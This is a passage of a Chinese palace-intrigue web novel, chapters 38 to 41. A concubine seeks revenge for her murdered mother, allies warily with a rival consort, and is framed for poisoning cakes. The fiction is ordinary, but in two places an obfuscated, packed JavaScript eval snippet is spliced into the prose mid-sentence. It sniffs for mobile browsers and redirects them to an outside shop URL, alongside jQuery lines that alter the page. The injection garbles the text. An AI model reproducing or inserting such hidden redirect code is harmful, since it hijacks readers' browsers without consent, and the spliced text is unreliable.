那饼巴掌大小,边缘压着精致的花边,中间嵌着一颗饱满的红枣,麦香混着荷叶的清润,闻着就让人有了食欲。于少微其实在自己宫里已经吃过早膳,此刻肚子还饱胀着,但看着皇后眼底的期待,实在不忍拂了她的好意,便拿起筷子夹了一块,轻轻咬了一小口。 口感比馒头更紧实有嚼劲,淡淡的麦香里裹着荷叶的清香,还有红枣自然的甜润,滋味清爽不腻。她不知不觉就把手上的一块吃完了,舌尖还留着余味,忍不住想再夹一块,可肚子实在装不下,只能悻悻地放下筷子。 “本宫就知道你会喜欢。”皇后看着她那副意犹未尽的模样,笑得眉眼弯弯。 于少微心头一暖,想着不能辜负这份好意,便又拿起筷子夹了一块,咬了大半口,鼓着腮帮子嚼着。 “慢些吃,别噎着。”陈皇后将手边的茶盏往她跟前推了推。 于少微端起来喝了一口,温热的口感顺着喉咙滑下,不是寻常的清茶,竟是甜润的豆浆,她眼睛一亮,惊讶地“欸”了一声。 “早上不要喝太多茶。”陈皇后笑道,“这豆浆是厨房现磨的,温着喝正好。” “一大早急匆匆过来,定是有要紧事吧?”皇后端起温热的豆浆抿了一口,目光温和地落在于少微脸上。 于少微放下手中的杯子,下意识清了清嗓子,语气里带着难掩的激动:“娘娘还记得吗?前些日子臣妾去了趟于家。” 陈皇后颔首,示意她继续说。 “臣妾这趟回去,拿回了母亲留下的嫁妆,也陆陆续续听说一些母亲生前的事。”于少微的声音渐渐低了些,带着几分忐忑,“有位江嬷嬷,是自小陪着母亲长大的,她……她跟臣妾说了好些过往,也提到了娘娘您。” “姓江?”陈皇后眼底掠过一丝了然,轻声道,“本宫认得她,当年常跟在你母亲身边。”她顿了顿,看着于少微期待又不安的神色,缓缓问道,“她是跟你说了,本宫与你母亲的事吧?” 于少微重重点头,眼里满是急切:“嬷嬷说,您和母亲是年少时的旧相识。” 陈皇后面上的笑意淡了些,染上几分哀婉,眼底慢慢泛起水光:“旧相识……” 她轻轻重复着,语气里藏着说不尽的怅然,“本宫与你娘,又何止是旧相识啊。”话音未落,一声轻叹溢出唇齿,“自她走后,这些年……唉。” 泪珠在她眼睫上打转,于少微何曾见过皇后这副模样,连忙递过一块干净的锦帕,声音放得极轻:“娘娘,您别难过。” 陈皇后接过帕子拭了拭眼角,抬眼望着面前的于少微。女子眉眼间的轮廓与记忆中那张明媚的脸渐渐重合,恍惚间,仿佛又回到了年少时,两人依偎着坐在庭院里晒太阳的日子,无忧无虑,满是欢喜。 “你长得真像她。”陈皇后不再掩饰眼底的思念,目光温柔得能滴出水来,“你们二人,简直是一个模子刻出来的。” 于少微怔怔地看着她,轻声感慨:“原来我长得像母亲……” 她的语气带着几分茫然,还有一丝不易察觉的失落,“宫里宫外,从来没人这般说过,母亲去世时我还小,于府也没有她的画像,我已经记不得她的模样了。” “是真的像。”陈皇后语气笃定,带着不容置疑的认真,“不过性子倒是不像,你母亲当年,可比你张扬多了。” “那我娘……她到底是个什么样的人?”于少微往前倾了倾身子,眼里满是好奇与向往。 “她啊……”皇后的目光飘向殿外,像是穿透了重重时光,落在了遥远的过去,嘴角不自觉勾起一抹温柔的笑意 “爽朗,热烈,性子像团火似的。”她缓缓说道,语气里满是怀念,“天下间怕是再找不出比她更明媚的女子了,只要有她在的地方,连空气都热闹几分,便是枯萎的兰花,似也能被她那份鲜活气儿催得重新抽芽。” 于少微有些惊讶,她从未想过许母竟是这样的人。 “那您和我母亲,是怎么认识的呀?”她有些好奇。 皇后收回目光,看着她急切的模样,笑了笑:“江嬷嬷没跟你细说?” 于少微摇摇头,眼里闪着期待的光:“嬷嬷只提了一句是年少相识,其余的便不肯多讲了,臣妾……臣妾更想听娘娘您亲自说。” 陈皇后的目光没有从她脸上移开,“静容长我几岁,有回我出门买东西,路过一个卖珠花绢帕的摊子,看上了一支缀着小珍珠的银钗,不是什么贵重玩意儿,但样式实在别致,我看了又看,很喜欢。那摊主瞧我盯着钗子不放,又看我穿着体面,便漫天要价,比寻常珠钗贵了三倍不止。” 皇后轻笑一声,带着点自嘲,“我那时被家里教得循规蹈矩,性子又闷,明知他在坑人,却拉不下脸争辩,只觉得多一事不如少一事,正犹豫着要掏钱,静容就那样撞进了我的视线。” “她不是突然冒出来的,是刚从旁边的点心铺出来,瞧见我站在摊前为难,便径直走了过来。”皇后的声音柔了些,“她没等我说话,就笑着站到我身边,拿起那支银钗掂了掂,转头对摊主说‘老伯,您这钗子银皮薄得能透光,珍珠也是养珠,往日里在西市也就十个铜板,您这般要价,怕是欺负这位姑娘脸皮薄吧’。” “她说话时眉眼弯弯,语气却不软,条理分明地数着钗子的好坏,摊主被她说得哑口无言,最后只好按实价卖给了我。” 陈皇后顿了顿,眼底闪着亮光,“我正想道谢,她却忽然转头看我,眼睛亮晶晶的,很认真道‘你生得真好看,眉眼跟浸了月光似的’。” “我当时攥着钗子,脸一下子就热了,僵在原地不知该说什么,憋了半天才回了句‘你也好看’。”皇后笑着点头,重复道,“静容是真的好看,眉宇间带着股鲜活的劲儿,像春日里刚抽芽的柳,透着勃勃的生气。” “静容也不觉得场面尴尬,顺势就挽了我的胳膊,说她刚买了新出的酥饼,邀我去前面的茶摊一同品鉴。” 回忆流转,陈皇后的语气愈发温和,“就这样,我们一路逛着,自然就说了姓名住址。我自小与太子有婚约,家里把我当未来皇后教养,言行举止都有规矩,身边的姊妹要么敬我,要么嫌我太闷太端着,没人真心与我亲近。” “娘娘性子哪里闷了。”于少微不赞同的摇头。 陈皇后笑看她一眼:“在遇到静容之前,我的日子就像一潭死水,今日重复昨日,明日又是今日的模样,一眼就能望到头。” 皇后的声音轻了些,却带着暖意,“可她不一样,她太鲜活了,像太阳般,连我这般呆板的人都忍不住被她照亮。我们的住处隔了两条街,她却天天来找我,她虽长我几岁,却从不说我年纪小,也从不让着我,我们会为了一块桂花糕争嘴,会为了下棋输赢闹别扭,转头又凑在一起看话本。” “她知道我的身份,却从不像旁人那般,人前客气恭敬,人后悄悄打量议论。”陈皇后望着远方,语气带着珍视,“在她面前,我不用端着太子未婚妻的架子,不用记着陈家大小姐的规矩,我只是一个叫陈拂玉的女孩罢了。” 陈皇后看见于少微眼中因她的讲述而产生的向往,她的心突然有些钝钝的疼,就像她第一次见到于少微时,太像了,简直太像了,仿佛下一秒就会有人开口喊她陈拂玉。 许静容去世时,她正怀着三皇子,得知噩耗,她悲痛难当,当即早产,结果三皇子天生体弱,小心翼翼地养到八岁,最终因为一场意外永远的离开了她,而她也因那次早产落下了病根。宫中再没有静容的消息传来,她也不愿意 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“是你吗?”她喃喃低语,声音带着几分不敢置信的恍惚,“你来看我了?” “你是不是怨我?”她抓紧那只手,语气里满是愧疚,“怨我没能照顾好你的女儿,怨我这么多年,一直都没能保护她……” 于少微表情动容,俯身轻轻将她抱住,陈皇后的脸贴在她的肩头,压抑多年的泪水终于汹涌而出,濡湿了她的衣襟。 “我对不住你……”良久,皇后才渐渐冷静下来,捏着帕子,满脸自责。 “您不要这么说!”于少微使劲摇头,她不是真的许静容的女儿,她担不起这份愧疚。 “娘娘我……”她还记得她今天的目的。 陈皇后看出她眼底的凝重,抬手示意殿内伺候的宫人:“你们都先退下吧,没有吩咐,不许进来。” 待宫人尽数退去,殿内只剩她们二人,皇后才温声道:“说吧,什么事。” 于少微深吸一口气,一字一句道:“昨日淑妃娘娘找了臣妾,她说……她说我娘当年,并不是病逝,而是被人杀害的。” “什么?!”陈皇后猛地抬头,双手死死攥住身下的椅子扶手,指甲几乎要陷进木头里,眼底满是震惊与不敢置信。 “娘娘可还记得十五年前,许家满门被抄的案子?”于少微问道。 陈皇后颔首,脸色沉了下来:“当年此事闹得沸沸扬扬,说是许家通敌叛国,可我一直觉得蹊跷。” “淑妃也是这么说的。”于少微连忙道,“她告诉我,许家是被人陷害的,主谋是谢家和于家。我母亲当年,正是被设计撞破了他们的计划,才被他们灭口,伪造成病逝的模样。” 这些话她一口气说完,胸口微微起伏。 陈皇后声音带着压抑的怒火:“此事当真?” “臣妾不敢妄下定论。”于少微摇摇头,“但臣妾已经托人给江嬷嬷带了信,嬷嬷回信说,母亲当年去世时,神色诡异,确实不像是正常病逝的样子。” “淑妃为什么要告诉你这些?”皇后眉头紧蹙,眼底满是审视,“她向来与于家无甚过节,怎会突然提起这桩旧案?” “臣妾猜,她是想让臣妾帮她,把这桩案子翻出来重审。”于少微语气笃定,“她的真正目标,是谢家。” 陈皇后了然颔首:“你说得没错,淑妃与贵妃素有恩怨,她怕是想借着这桩旧案,扳倒谢家。” “而你想为静容报仇。”陈皇后笃定道。 于少微坚定的点头,“我一定要为母亲报仇。” 陈皇后定定看了她半响,“你需要本宫做什么?” “您清楚陛下让臣妾做的事吧?”于少微肯定道。 “你要我替你向陛下告知淑妃的计划吗?”陈皇后了然。 “正是。”于少微认真道,“淑妃的计划,臣妾若贸然告知陛下,一来不知哪些该说、哪些不该说,二来此事牵扯甚广,臣妾孤身一人,恐有性命之忧。” 她起身,对着皇后深深行了一礼,语气恳切:“在这深宫里,臣妾能相信的人,只有娘娘您,还望娘娘能指点一二,助臣妾一臂之力。” 陈皇后连忙扶住于少微,伸手将她颊边垂落的鬓发轻轻别到耳后,语气温和却带着不容置疑的力量:“你想做的,便放手去做,有本宫在,定护你周全,也定会为你母亲,讨回一个公道。” 39. 第三十九章 于少微走后,陈皇后提着厨房熬好的羹汤去了太和殿。 当晚,庆帝召于婕妤侍寝。 又过三日,于少微提着茶点去找文淑妃。 “我还以为你不会来了呢。”文淑妃似笑非笑道。 于少微没有回答,直接道:“淑妃娘娘打算如何行动?” 文淑妃淡淡的瞥了她一眼,慢悠悠道:“我的父亲在户部供职,在吏部也有交好的人,所以,我的手上已经有了些线索了。而你——” 话锋陡然一转,她坐直身子,有些苦恼地上下打量着于少微:“我这两天才回过神来,好像你也没什么用处,你说,你能做什么呢……” 语气里的疑惑似是自言自语,可那双眼睛却死死锁着于少微,不肯放过她脸上一丝一毫的变化。 于少微垂眸敛眉,长长的睫毛在眼下投出一小片阴影:“此事是娘娘牵头,臣妾愚钝,凡事还需娘娘指点迷津。” 文淑妃的视线落到于少微带来的食盒上,红木食盒里的什锦点心还冒着热气,她却毫不在意地移开目光,低头端详自己新染的蔻丹:“说句实话,这件事单靠我也能成,只不过意外发现你母亲的事情,看你孤苦无依才拉你入局,你可千万不要辜负我的好意。” “哦,对了。”她像是突然想起什么,语气陡然变得不容置喙,“我知道一个人叫赵武,当年是负责押送那批粮草的队正,如今在禁军当差,管着西华门的宿卫。他肯定知道不少内情,你去联络他,务必让他站到我们这边。” 于少微猛地抬头,眉头拧起:“他是哪家的人?或是曾依附过哪位大人?”宫中人脉盘根错节,一个禁军侍卫的背后,往往牵扯着意想不到的势力。 淑妃呷了口热茶,漫不经心地吐出一个字:“于。” 于少微的脸色瞬间沉了下去:“不行。” 她声音陡然冷了几分,“不行,这样太冒险,由我去接触的话,于家那边很快就会怀疑到我身上,若再引起谢家的注意,臣妾恐怕没多久就无声无息的消失在这世上了。” “慌什么。”淑妃放下茶盏,“他不过是十几年前借过于家的门路补的差事,现在早无干系,你说的这些都只是可能,做得干净些,谁会知道?” “娘娘为何非要把这件事交给臣妾?”于少微的眉头蹙得更紧。 “不然你还有什么用处呢?”淑妃轻佻地斜睨着她,语气里的鄙夷毫不掩饰。 于少微像没听见般,依旧追问:“既让臣妾去办,总要告知赵武的性情喜好吧?他是贪财还是好权?家中可有妻儿软肋?这些娘娘总该清楚。” 淑妃的脸色倏地一沉,反常地缄口不言。 “娘娘?”于少微又唤了一声。 “你无须问那么多!”淑妃的声音陡然拔高,又迅速压下去,带着几分不耐烦,“照我吩咐的去做就是了,哪来这么多废话!” 于少微的嘴角迅速下撇,她深吸一口气,终是没忍住:“娘娘怕是根本没顾及臣妾的性命吧。” “于婕妤这是什么话?”淑妃立刻换上假笑,眼底却一片冰凉,“我好心帮你报仇,你倒反过来疑神疑鬼。” “好心?”于少微猛地抬眼,目光锐利如刀,“您让我拉拢与于家有旧的赵武,却对他的底细绝口不提,禁军侍卫时常在御前当差,臣妾身为后妃频繁接触他,若是被人添油加醋传到陛下耳中——” 她扯了扯嘴角,露出一抹惨笑,“臣妾最后怕是连怎么死的都不知道。” “那你想怎样?”淑妃的耐心彻底告罄,睨着她的眼神像在看一个不知好歹的物件。 “我不干。”于少微的声音不大,却异常坚定。 “呵。”淑妃先是一声轻笑,随即变成急促的嗤笑,像是听到了天大的笑话。她往前倾了倾身,用只有两人能听见的声音说:“曾经我还以为你有点聪明,现在看来,也不过是个蠢货。你怕是还没摆正你自己的位置,你,有什么资格和我谈条件?” “想现在退出?”她自说自话,手指轻轻敲击着矮几,“你当然可以走,只不过——”淑妃故意拖长语调,嘴角勾起一抹残忍的笑。 威胁的话刚说完,于少微却突然笑了,她从宽大的袖中取出几张折叠整齐的纸,轻轻放在淑妃面前的矮几上,目光平静地看着她:“娘娘请看。” 淑妃扫了一眼那纸页边缘的朱砂印记,似笑非笑:“你的投名状?” 在她看来,于少微不过是走投无路,又拿出了什么无关紧要的东西来表忠心。 “娘娘看了就知道了。”于少微扯出一个假笑。 淑妃轻嗤一声,漫不经心地拿起纸页展开。 起初她的表情还带着不屑,可越往下看,脸色就愈发苍白,原先挂在嘴角的讽刺笑容彻底凝固,像是被冻住了一般,她迅速将三张纸从头到尾翻了一遍,直到看到最后那张盖着户部印鉴的地契,才猛地抬头,失声道:“你从哪里弄来的这些?” “看来这些东西是有用的啊。”于少微答非所问。 淑妃冷哼一声:“我劝你别和我耍花招。” 于少微摊了摊手:“臣妾手里有母亲的嫁妆。” 淑妃表情错愕:“什么时候的事?!” 想着就算自己不说实话她也能查到,她索性直言道:“今年年初臣妾回于家那次。” “为什么现在才告诉我?”淑妃冷静下来,厉声质问。 于少微表情无辜:“臣妾要是专门和您说您才会奇怪吧,妾当时要回母亲的嫁妆本只是想出口恶气,直到您那日找到妾,妾才后知后觉发现这嫁妆还有这份用处。” “所以你隔了这么久才来找我就是为了这几张纸。”淑妃的语气带着不容置疑的笃定,目光死死锁在她的脸上。 于少微轻轻颔首,语气诚恳:“臣妾想着,既然要与娘娘合作,总该拿出些诚意。若是空着手来,岂不显得臣妾无用?只是没想到——” 她话锋一转,叹了口气,“没想到这东西竟然成了臣妾的救命稻草。” “于婕妤言重了。”淑妃的声音透着几分阴冷,她懊恼自己方才的失态,更恨自己小瞧了这个年轻柔弱的女人。 “现在臣妾有资格拒绝娘娘的要求了吗?”于少微点点那几张纸。 淑妃避开她的目光,伸手捡起那张写着粮仓归属的地契:“这两张地契你怎么拿到的?我不信仅凭你母亲留下的东西就能做到,尤其是这张。” 她的声音陡然拔高,“当年许家获罪,京郊那座存着脏粮的粮仓就是铁证!你外祖父说粮仓早易主于家,拿出来的地契却是假的,你这张从何而来?” “娘娘为何不信?”于少微的声音陡然哽咽,“您又不知道母亲给我留了什么,怎么就断定我拿不到?这地契本就是母亲留下的!她当年撞破了于谢两家的阴谋,拼死把地契偷了出来,可还没来得及交出去,就被他们害死了!”她说得情真意切,连肩膀都微微颤抖。 淑妃却满脸狐疑,手指捏着地契的边角几乎要将纸页攥皱。这地契来得太巧,巧得像个圈套,她断定于少微还有事瞒着她。 于少微迎着文淑妃锐利的目光,眼圈泛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015614|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红,神色却坦荡无波。 淑妃没猜错,这地契并非母亲所留,甚至不是当年那一张,但它确是真的。 这几日,她暗中联络上母亲当年的陪嫁管家许忠,那老人在许静容死后被于家追杀,幸亏他命大,被扔到乱葬岗后还有气息,被人救起后,一直隐姓埋名的生活,直到几年前与江嬷嬷相认,低调的回到了四海楼。 许忠在于府时就知道不少秘事,死里逃生后,又利用当年在于家布下的眼线打探消息,才得知真地契早已下落不明,既如此,那“真”与“假”便可由人定夺了。所以她私下仿造了地契,又让庆帝给她开了内库典籍库的权限,悄悄给地契盖了户部的备案公章,有了官家认证,就算于家不认,也翻不了天。 “你保证所言不虚?”淑妃依旧不肯松口。 “臣妾可以对天发誓。”于少微立刻接话。 “呵,少来这套。”淑妃冷笑一声,将地契扔回桌上,“誓言是最无用的东西。” “那臣妾也没法子了。”于少微耸耸肩,语气无奈,“不过娘娘何必纠结过程?反正证据拿到了,能扳倒于谢两家才是正经事,不是吗?” 文淑妃沉默着,于少微见状,起身将纸页一张张叠好,塞进袖袋,叹了口气道:“娘娘既然不信臣妾,那臣妾改日再来拜访。”说罢便作势要掀帘离开。 “站住!”淑妃突然喝住她,声音里带着一丝不易察觉的慌乱,“你知道了我的谋算,还想走出这道门?就不怕我派人——“ “派人杀了我?”于少微回过头,脸上满是惊讶,“娘娘这是说的哪里话?臣妾只是给您时间冷静想想,又不是要退出合作,您为何要下此狠手?” 文淑妃死死盯着她,目光如厉刃般几乎要将她戳穿。于少微被她看得不自在,却依旧稳稳地站着,直到淑妃的眼神渐渐缓和。 “您别这样。”于少微重新坐回原位,端起新沏的热茶润了润喉,幽幽道,“您的计划要成,少不了我手里的人和物,而我母亲留下的那些,都只认我。况且您也清楚,您这计划若是败了,谢家第一个不会放过您。” 淑妃垂下眼,长长的睫毛在眼下投出一片阴影。半响,她慢慢抬头,眼底的敌意已淡去大半:“是我小瞧你了。” 于少微轻笑一声,端起茶盏敬了她一下:“娘娘这话就见外了,咱们是合作伙伴,又不是对手,何来小瞧之说?您说对吗,我的伙伴?” “合作伙伴?”文淑妃在齿间反复咀嚼这四个字,末了,她忽然轻笑出声,用一种从未有过的审视目光打量着于少微,像是第一次认识她,“那我的伙伴,现在想问什么?” “娘娘果然聪慧,一猜就中。”于少微笑得眉眼弯弯。 淑妃冷哼一声,从软榻下的暗格里取出一本蓝布封皮的册子,扔给于少微:“我手里有当年那座粮仓的出库台账,上面记着脏粮的去向。” 于少微快速翻了几页,摇头道:“这证据不够硬,只能牵出小喽啰,动不了谢家根基。” “倘若我还知道,谢家当年与外族私通的交易账目藏在何处呢?”淑妃抬眼看向她,眼底带着一丝挑衅。 于少微的表情终于有了真切的惊讶:“娘娘是从何处得知的?”那笔账目的下落,连许忠打探了多年都毫无头绪。 “我自有我的门路。”淑妃得意地斜了她一眼,又恢复了几分往日的傲气。 于少微见状,无奈地摊了摊手:“既然如此,咱们便各自发力,三日一会,互通消息如何?” 淑妃沉吟片刻,缓缓颔首:“可。” 40. 第四十章 于少微近来忙碌非常,晴雨阁的烛火总比往日亮得更久,送到宫外的信件有时一天好几封,就连亓轸她也有一段时间没去文华殿接过了,少年眼底的落寞旁人都看得清楚,下学后总是不自觉在廊下多站片刻,直到宫人们提醒该回殿了,才踩着自己的影子慢慢离开。唯有晚膳时分,两人还能同坐一桌,可于少微的目光总像飘在远处,筷子在碗里戳着米饭,连亓轸递去的热汤都要反应片刻才接。 是日晚膳,在亓轸不知叫了几声“母妃”后,于少微才从怔忡中回神:“嗯?何事?” 少年握着银筷的指节微微泛白,终是按捺不住:“您最近在忙些什么?” 于少微下意识摇头,语气带着几分自己都未察觉的闪躲:“没什么。” “您说谎。”亓轸的目光直直落在她脸上,眼底满是失落,“您以前从不瞒我的。” “我……”于少微错开他的视线,低头夹了一筷子青菜塞进嘴里,半晌才轻声道,“是皇后娘娘托付了些事,琐碎得很。” 见亓轸眉头蹙得更紧,像是还要追问,她连忙打断,语气软了些:“明日我去文华殿接你下学好不好?近来未央宫是多了些事,等忙完这阵子,咱们还像从前一样。” 亓轸静静看了她片刻,少年的眼神亮得有些锐利,仿佛能看穿她话里的敷衍,已经到了嘴边的“您到底在瞒什么”,终究还是被他咽了回去,只轻轻点了点头,把脸埋进碗里,不再说话。 于少微悄悄抬眼,见他垂着的眼睫在眼下投出一小片阴影,握着筷子的手松了又紧,分明是有话不敢说的模样,心底顿时涌上几分愧疚,她何尝不知自己近来忽略了他?但她又无法告诉他自己正在做的事情。 亓轸年纪虽轻,但颇有心计与手段,她知道若将此事告知,他一定会选择帮忙,她也会轻松不少,或许胜算也会多一些。但是……于少微摇了摇头,事以密成,此事还是越少人知道越好,倘若牵涉其中风险不会小,这事又与他无关,他不该被牵扯进来。 “唉……”一声极轻的叹息从她唇边溢出,面前满桌的珍馐突然没了滋味,她放下筷子,指尖轻轻摩挲着碗沿。 对面的亓轸也在默默打量她,他早已派心腹去查,虽没查到具体内容,却摸清了她常与淑妃私下会面,目标很可能……亓轸推测,应是与皇贵妃和谢家有关。淑妃与皇贵妃的恩怨朝野皆知,可她为何要掺进去?难道与于家有关? 越想,少年心底的烦躁与不安就越重,像有只手攥着心脏,连呼吸都觉得发紧。他索性也放下碗筷,与于少微隔着一张方桌沉默对坐,殿内只剩烛火跳动的细碎声响。 于少微瞧见他眉宇中萦绕的阴郁,只当是自己这些日子的疏远惹他不快,愧疚更甚,柔声劝道:“不再吃点吗?今日膳房做的都是你爱吃的菜,我见你吃很少。” 亓轸摇头,声音淡淡的:“儿臣吃饱了。” “那我让人把菜温在厨房,”于少微想了想,又补充道,“你晚上若是饿了,让人去取就好。” 换作往日,这样的关心足够让亓轸高兴许久,可此刻他只觉得胸口发闷。她还是关心他的,却把最关键的部分藏得严严实实,她的计划、她的忧虑、她要面对的风浪,全都没他的份。他像个站在门外的人,只能等着她偶尔开门施舍些甜头,却始终进不去她的世界。 这样的认知让他无时无刻不处在一种惶恐的情绪之中,他是一个随时可以被她抛弃的人…… 翌日傍晚,文华殿的廊下总算又出现了于少微的身影,她手里提着个描花食盒,里面是下午亲手做的山楂糕。 皇子们接二连三地出来,六皇子亓辙眼尖,一眼就瞧见了廊下的身影,蹦蹦跳跳地跑过去:“于娘娘!您,您是来接,接五哥的吗?” 于少微笑着点头,刚要掀开食盒,就见亓轸慢吞吞地走了出来。廊下的欢声笑语吸引了旁人的注意,二皇子亓轲路过时扫了一眼,亓轸则加快步伐,默不作声的把亓辙挤到一边。 “于娘娘,”亓辙没在意,凑到食盒边探头探脑,“您这食盒里装,装的是什,什么呀?” 于少微刚要开口,就被亓轸挡住了视线,少年身姿挺拔如青松,比她高出一个头还多,身影堪堪把她护在身后,连亓辙的脑袋都只能从他胳膊肘边露出来。她无奈地朝不远处的德妃笑了笑,扬声道:“是山楂糕,明日我让人给你和小珈送去,今日先给你五哥尝尝。” 亓轸撇了撇嘴,伸手去接她手里的食盒,小声催促:“天色晚了,咱们该回殿了。” * “送去福宁宫吧。”于少微将还冒着热气的点心装盒,交代青阳提过去。 青阳脆生生应了声“是”,提着食盒快步出门。宫道上的宫人们都脚步匆匆,约莫离福宁宫还有一盏茶的路程,她眼角余光瞥见个熟悉身影,是德妃娘娘的贴身嬷嬷宁氏,刚从尚服局的方向出来,手里捧着件水绿色的襦裙,绣线在阳光下闪着细碎的光。 “宁嬷嬷好巧!”青阳笑着上前见礼,目光落在那衣裳上,“这绣活真是精致,是给珈公主做的新衣裳?” 宁嬷嬷脸上堆着慈和的笑:“欸,是给我们珈公主做的,公主近来总念叨着要新裙子呢。”她的目光很快落在青阳手里的食盒上,眉梢微扬,“青阳姑娘这是要往哪儿去?” “可不就是往福宁宫去嘛。”青阳抬了抬食盒,语气带着几分得意,“我们婕妤亲手做的点心,特意让我给六殿下和珈公主送过来。” “原是送到我们宫里的,真是辛苦你跑这一趟。”宁嬷嬷连忙道,伸手帮她扶稳食盒,“这宫道绕,我正往回走,要不咱们一道?” “嬷嬷客气了,给小殿下们送东西,我乐意着呢!”青阳笑着应下。 两人刚并肩走了两步,旁边的侧巷里突然冲出来个提着泥桶的小太监,那泥桶瞧着分量极沉,坠得他腰都弯了,脚步摇摇晃晃像踩在棉花上。 “小心!”青阳反应极快,一把拉住宁嬷嬷往旁边避去。可那小太监像是脚下绊了石头,身子猛地一踉跄,竟直直朝着两人的方向倒过来,电光火石间,青阳来不及多想,下意识背过身将食盒紧紧护在胸前。 “哗啦——”一声脆响,小半桶稀泥径直泼下,大半都溅在了青阳月白色的裙摆上,湿漉漉的泥印顺着裙褶往下淌,沾了满脚的泥点。 “啊呀!” “对不起对不起!” 青阳的惊呼声与小太监的道歉声同时响起。她看着自己的新裙子,气得眼圈都红了,可是婕妤特意让人给她做的新衣裳,穿了还没两天!那小太监慌忙放下泥桶,扑通一声就想跪,手忙脚乱地鞠躬:“对、对不起姑娘!我不是故意的!” “你走路都不看路的吗?”青阳跺了跺脚,语气里满是心疼与气愤。 那小太监脸都白了,嘴唇哆嗦着说不出完整话,只一个劲地重复“对不起”,额头上的冷汗顺着脸颊往下淌:“姑、姑娘,我、我赔……可我还有活没做完,督工的公公说了,误了时辰要扒一层皮的……能不能、能不能先让我走?我回头就想法子赔您……” 青阳看着他吓破胆的模样,心里的气渐渐散了大半。她虽在婕妤身边当差,却也知道宫中行事的难处,最终还是叹了口气,摆了摆手:“罢了,你快走吧,下次走路仔细些。” “谢谢姑娘!谢谢姑娘!”小太监如蒙大赦,连连磕了两个头,提着剩下的半桶泥跑得飞快,转眼就没了踪影。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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德妃带着珈公主去御花园赏花还未回来,殿内只有几个洒扫的宫女,宁嬷嬷将食盒放在偏殿的八仙桌上,又拿着刚取的襦裙进了内室。 半个时辰后,宫门外传来清脆的笑声,德妃牵着珈公主的手走了进来。小姑娘穿着粉色的小袄,脸蛋被风吹得红扑扑的,手里还攥着朵刚摘的姚黄牡丹。一进偏殿,她就被桌上食盒的香气吸引了,拉着德妃的衣袖晃了晃:“母妃,是于娘娘给我送的点心吗?我早上还跟哥哥念叨呢!” 德妃笑着刮了刮她的小鼻子:“娘的珈儿真是只小馋猫,鼻子比狗还灵。”她示意宫女打开食盒,一股甜糯的香气瞬间弥漫开来,“快,让人给你擦手,洗干净手才能吃。” 珈公主乖乖点头,任由宫女用温水帕子细细擦净小手。她的目光始终黏在食盒里的山楂糕上,那糕点雪白松软,上面还点缀着几颗切碎的蜜饯,看着就诱人,刚擦完手,她就迫不及待地伸着小手去够最上面那块。 可就在她的指尖即将碰到糕点的瞬间,不知是被什么呛了一下,她突然“阿嚏”一声打了个响亮的喷嚏,小手猛地缩了回来,眼泪都被呛出来了。 “怎么了珈儿?”德妃连忙蹲下身抱住女儿,她顺着女儿的目光看向那块山药糕,脸色骤然一变,只见那雪白的糕体表面,似乎沾着一层极淡的白霜,与其他糕点的色泽截然不同。 “来人!传太医!”德妃的声音瞬间拔高,带着难以掩饰的惊怒,她紧紧抱住女儿,不让她再靠近食盒半步,厉声道:“快!把这食盒看好,谁都不许碰!” “母妃……”亓珈好像察觉到什么,有些害怕地缩进德妃怀里。 不过一炷香的功夫,太医就提着药箱匆匆赶来,他神色凝重地取出银针,小心翼翼地插进那块沾着白霜的山药糕里,不过瞬息之间,原本银亮的针尖就变得漆黑如墨。 “回、回娘娘,这糕点……有毒!”太医的声音都在发颤。 “有毒?!”德妃眼前一黑,若非抱着女儿,险些栽倒在地,她猛地抬头,眼神锐利如刀 “立刻去禀报庆帝与皇后,还有于婕妤,马上把人叫过来!” 41. 第四十一章 晴雨阁的大门被福宁宫的人强行推开时,于少微正在和文淑妃交流最近得到的情报,喧杂的人声闹到怡春宫外,被打扰的两人同时皱眉。 “来个人进来。”文淑妃高声道。 内殿的门被推开一条缝,守在门外的宫人缩着肩膀钻进来,低头等着淑妃问话。 “外头何事喧哗?敢在怡春宫门前放肆。”文淑妃皱眉。 嘈杂的声音透过门缝传了进来,于少微侧耳细辨片刻,迟疑道:“怎么听着像是来找我的?” 那小宫人刚要开口回话,殿外突然传来一阵急促的脚步声,槐序散着半缕发丝,掀起帘子就闯了进来,往日里总是规整的发髻都歪了,一双杏眼瞪得溜圆,直直扑到于少微面前。 “娘娘!”她声音发颤。 于少微先不着痕迹地瞥了眼文淑妃才转向槐序:“慌什么?慢慢说。” 槐序看懂了主子的示意,飞快地摇了摇头,声音陡然拔高:“是福宁宫的人!带着德妃娘娘的令牌,嚷嚷说婕妤您下毒陷害皇嗣!” “什么?!”于少微惊得浑身一颤,手肘不慎撞翻了手边的茶盏,滚烫的茶水顺着桌沿蜿蜒而下,溅在她碧色的宫裙上,她像全然不觉般,目光下意识看向殿门外那片晃动的人影。 “你今日做了什么?为什么德妃会指认你下毒?”文淑妃是最快反应过来的,她朝自己的宫人使了个眼色,示意她带人将门外的人拖住,又抬手将茶盏扶正,递了条锦帕给于少微。 “你先擦擦。” 于少微面色惨白如纸,她一面接过锦帕,一面低声道:“昨日六皇子像我讨要糕点,我今日做了做好后就差青阳送了过去,之后便直接来您这儿了,连宫门都没再出过半步。” “定是遭人构陷了。”文淑妃眉头拧成川字,指尖在茶案上轻轻叩着,“不过你先别慌,此时若真是你所为,未免太过显眼,不会有人相信的,德妃是个聪明人,她定然也是想到了这点,才叫宫人来找你去问话,不然来的就会是陛下身边的禁军了。” “我……”文淑妃的话并没有安慰到于少微,她现在脑子一片空白,整个人像被狂风卷过的秋叶,软软地靠在玫瑰椅上,指尖掐着桌沿才勉强稳住身形,声音发飘 “谁在害我……谁会害我?!”她掐着桌沿喃喃,努力回想着与自己有过节的人。 文淑妃也在思索,忽然两人目光撞在一处,一个答案同时从齿间溢出 “皇贵妃!” 